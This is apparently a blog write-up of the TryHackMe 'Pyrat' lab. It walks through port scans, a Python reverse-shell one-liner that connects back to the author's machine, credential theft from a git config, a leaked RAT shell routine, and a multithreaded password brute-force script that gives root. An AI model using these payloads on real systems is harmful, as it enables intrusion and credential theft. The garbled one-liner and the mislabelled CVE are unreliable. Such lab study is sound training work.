Post

TryHackMe - Pyrat

TryHackMe - Pyrat

Pyrat

Test your enumeration skills on this boot-to-root machine.

About

Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.

Enumeration

nmap and rustscan:

Rustscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
rustscan -a 10.10.132.126                                                                                              ─╯
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I don't always scan ports, but when I do, I prefer RustScan.

[~] The config file is expected to be at "/Users/manavallan/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.132.126:22
Open 10.10.132.126:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 14:31 IST
Initiating Ping Scan at 14:31
Scanning 10.10.132.126 [2 ports]
Completed Ping Scan at 14:31, 0.15s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:31
Completed Parallel DNS resolution of 1 host. at 14:31, 0.01s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:31
Scanning 10.10.132.126 [2 ports]
Discovered open port 8000/tcp on 10.10.132.126
Discovered open port 22/tcp on 10.10.132.126
Completed Connect Scan at 14:31, 0.15s elapsed (2 total ports)
Nmap scan report for 10.10.132.126
Host is up, received conn-refused (0.15s latency).
Scanned at 2025-01-22 14:31:13 IST for 0s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack
8000/tcp open  http-alt syn-ack

Read data files from: /opt/homebrew/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
nmap -sC -sV -Pn 10.10.132.126                                            ─╯
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 14:28 IST
Stats: 0:03:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 14:32 (0:00:00 remaining)
Nmap scan report for 10.10.132.126
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
4321/tcp filtered rwhois
8000/tcp open     http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions:
|     invalid syntax (<string>, line 1)
|   GetRequest:
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     name 'OPTIONS' is not defined
|   Help:
|_    name 'HELP' is not defined
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=1/22%Time=6790B36C%P=arm-apple-darwin23.4.0%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 221.50 seconds

nmap full port scan didn’t yield much results.

Summary of nmap and rustscan:
  • 4321/tcp filtered rwhois
  • 8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2

Dirsearch - No interesting information

1
2
3
4
5
6
7
8
9
10
11
12
python3 dirsearch.py -u http://10.10.132.126:8000                                                                      ─╯

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12288

Target: http://10.10.132.126:8000/

[14:40:35] Scanning:

Task Completed

Google search and surfs

Python < 3.7.17, 3.8.x < 3.8.17, 3.9.x < 3.9.17, 3.10.x < 3.10.12, 3.11.x < 3.11.4 RCE Vulnerability - WindowsCVE-2023-24329

CVE: CVE-2023-24329

Description: An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters. Vendor: Python Software Foundation Version: => 3.11.3

POC: Link

Reverse shell

  • With some tweaking, I was able to understand that there is a netcat session on a port 8000 and is running python.

After multiple tries of reverse shell attempts and some support from chatgpt I got the code which gets me a reverse shell.

1
python3 -c ' import socket import os import pty # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.17.54.233", 8090)) # Redirect socket file descriptor to stdin, stdout, and stderr os.dup2(s.fileno(), 0) # stdin os.dup2(s.fileno(), 1) # stdout os.dup2(s.fileno(), 2) # stderr # Optionally adjust terminal settings (useful for interactive shells) os.system("stty raw -echo; fg") # Spawn an interactive shell pty.spawn("/bin/bash") # Using bash instead of sh '

Reverse shell received for user: www-data@pyrat

Enumeration on the machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@Pyrat:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
think:x:1000:1000:,,,:/home/think:/bin/bash
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
postfix:x:114:119::/var/spool/postfix:/usr/sbin/nologin

Found User: think

Hint: Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials.

1
2
3
4
5
6
7
8
9
10
11
12
www-data@Pyrat:/$ env
env
SHELL=/bin/sh
PWD=/
LOGNAME=root
HOME=/root
LANG=en_US.UTF-8
TERM=xterm
SHLVL=2
PATH=/usr/bin:/bin
_=/usr/bin/env
OLDPWD=/dev

No clues for 20 mins of enumeration. Then thought of checking the /opt folder and I’m lucky in that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@Pyrat:/$ cd /opt
cd /opt
www-data@Pyrat:/opt$ ls -la
ls -la
total 12
drwxr-xr-x  3 root  root  4096 Jun 21  2023 .
drwxr-xr-x 18 root  root  4096 Dec 22  2023 ..
drwxrwxr-x  3 think think 4096 Jun 21  2023 dev
www-data@Pyrat:/opt$ cd dev
cd dev
www-data@Pyrat:/opt/dev$ ls -la
ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git
www-data@Pyrat:/opt/dev$ cd .git
cd .git
www-data@Pyrat:/opt/dev/.git$ ls -la
ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21  2023 .
drwxrwxr-x 3 think think 4096 Jun 21  2023 ..
drwxrwxr-x 2 think think 4096 Jun 21  2023 branches
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21  2023 hooks
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4096 Jun 21  2023 info
drwxrwxr-x 3 think think 4096 Jun 21  2023 logs
drwxrwxr-x 7 think think 4096 Jun 21  2023 objects
drwxrwxr-x 4 think think 4096 Jun 21  2023 refs
www-data@Pyrat:/opt/dev/.git$ cat config
cat config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = josemlwdf@github.com

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = _TH1NKINGPirate$_

Finger-crossed on verifying the think user credentials think : _TH1NKINGPirate$_

Successful :)

Privilege Escalation from ‘think’

Got the user flag: 996bdb1f619a68361417cabca5454705

Trying sudo -l

1
2
3
4
5
think@Pyrat:~$ sudo -l
sudo -l
[sudo] password for think: _TH1NKINGPirate$_

Sorry, user think may not run sudo on pyrat.

Trying linpeas.sh > Summary of LinPeas.sh

1
2
3
4
5
Vulnerable to CVE-2021-3560

www-data@Pyrat:/opt/dev/.git$ 

program in the /root/pyrat.p

Checking the user’s emails, we come across an interesting message mentioning a RAT program running on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
think@Pyrat:~$ cat /var/mail/think
From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen

Going back to the git repository and checking the commits made, we see a single commit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
think@Pyrat:/opt/dev$ git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aproved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................

# Check socket is admin and downgrade if is not aproved

This suggests that there is an admin endpoint.

Let’s check the webapp, and then telnet.

1
2
3
4
netcat 10.10.101.128 8000                                                                                    ─╯
admin
Password:

Bruteforce python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import remote, context
import threading

target_ip = "10.10.101.128"
target_port = 8000
wordlist = "/usr/share/seclists/Passwords/500-worst-passwords.txt"
stop_flag = threading.Event()
num_threads = 100

def brute_force_pass(passwords):
    context.log_level = "error"
    r = remote(target_ip, target_port)
    for i in range(len(passwords)):
        if stop_flag.is_set():
            r.close()
            return
        if i % 3 == 0:
            r.sendline(b"admin")
            r.recvuntil(b"Password:\n")
        r.sendline(passwords[i].encode())
        try:
            if b"shell" in r.recvline(timeout=0.5):
                stop_flag.set()
                print(f"[+] Password found: {passwords[i]}")
                r.close()
                return
        except:
            pass
    r.close()
    return

def main():
    passwords = [line.strip() for line in open(wordlist, "r").readlines()]
    passwords_length = len(passwords)
    step = (passwords_length + num_threads - 1) // num_threads
    threads = []
    for i in range(num_threads):
        start = i * step
        end = min(start + step, passwords_length)
        if start < passwords_length:
            thread = threading.Thread(target=brute_force_pass, args=(passwords[start:end],))
            threads.append(thread)
            thread.start()
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    main()

If you are using a mac m1 or above, use a python environment to run the brute force script. Also have this package installed: brew install cmake Needed packages in pip installation:

  1. capstone
  2. pwntools
1
2
3
python3 brute.py                                                                                             ─╯
[+] Password found: abc123

Privilege Escalated

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# ls -la
ls -la
total 68
drwxrwx---  7 root root  4096 Apr 15  2024 .
drwxr-xr-x 18 root root  4096 Dec 22  2023 ..
lrwxrwxrwx  1 root root     9 Jun  2  2023 .bash_history -> /dev/null
-rwxrwx---  1 root root  3230 Jun 21  2023 .bashrc
drwx------  2 root root  4096 Jun 21  2023 .cache
drwx------  3 root root  4096 Dec 22  2023 .config
-rw-r--r--  1 root root    29 Jun 21  2023 .gitconfig
drwxr-xr-x  3 root root  4096 Jan  4  2024 .local
-rwxrwx---  1 root root   161 Dec  5  2019 .profile
-rwxr-xr-x  1 root root  5360 Apr 15  2024 pyrat.py
-rw-r-----  1 root root    33 Jun 15  2023 root.txt
-rw-r--r--  1 root root    75 Jun 15  2023 .selected_editor
drwxrwx---  3 root root  4096 Jun  2  2023 snap
drwxrwx---  2 root root  4096 Jun  2  2023 .ssh
-rw-rw-rw-  1 root root 10561 Apr 15  2024 .viminfo
# cat root.txt
cat root.txt
ba5ed03e9e74bb98054438480165e221
#

Root flag: ba5ed03e9e74bb98054438480165e221

This post is licensed under CC BY 4.0 by the author.